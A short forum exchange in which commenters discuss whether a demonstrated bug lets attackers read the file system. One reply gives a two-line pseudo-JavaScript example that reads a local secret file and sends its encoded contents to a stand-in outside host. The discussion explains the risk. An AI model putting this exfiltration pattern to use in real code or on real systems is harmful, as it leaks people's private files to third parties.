2 ms·
> He didn't really demonstrate how "hackers" could read the file system, right? The screenshot of etc/hosts is on the same computer where that hosts file lives.
by JoshTriplett 7y ago
> He didn't really demonstrate how "hackers" could read the file system, right? The screenshot of etc/hosts is on the same computer where that hosts file lives.
If you can fetch arbitrary URLs, and the contents of local files, you can trivially exfiltrate the latter with the former. Just fetch the local file, then fetch an URL that encodes the contents of the local file.
var text = fetch("/local/secret/file");
fetch("https://example.org/"+encode(text));
- dmurray 7y agoYes, that's right of course, I had missed that he almost certainly can request arbitrary remote URLs.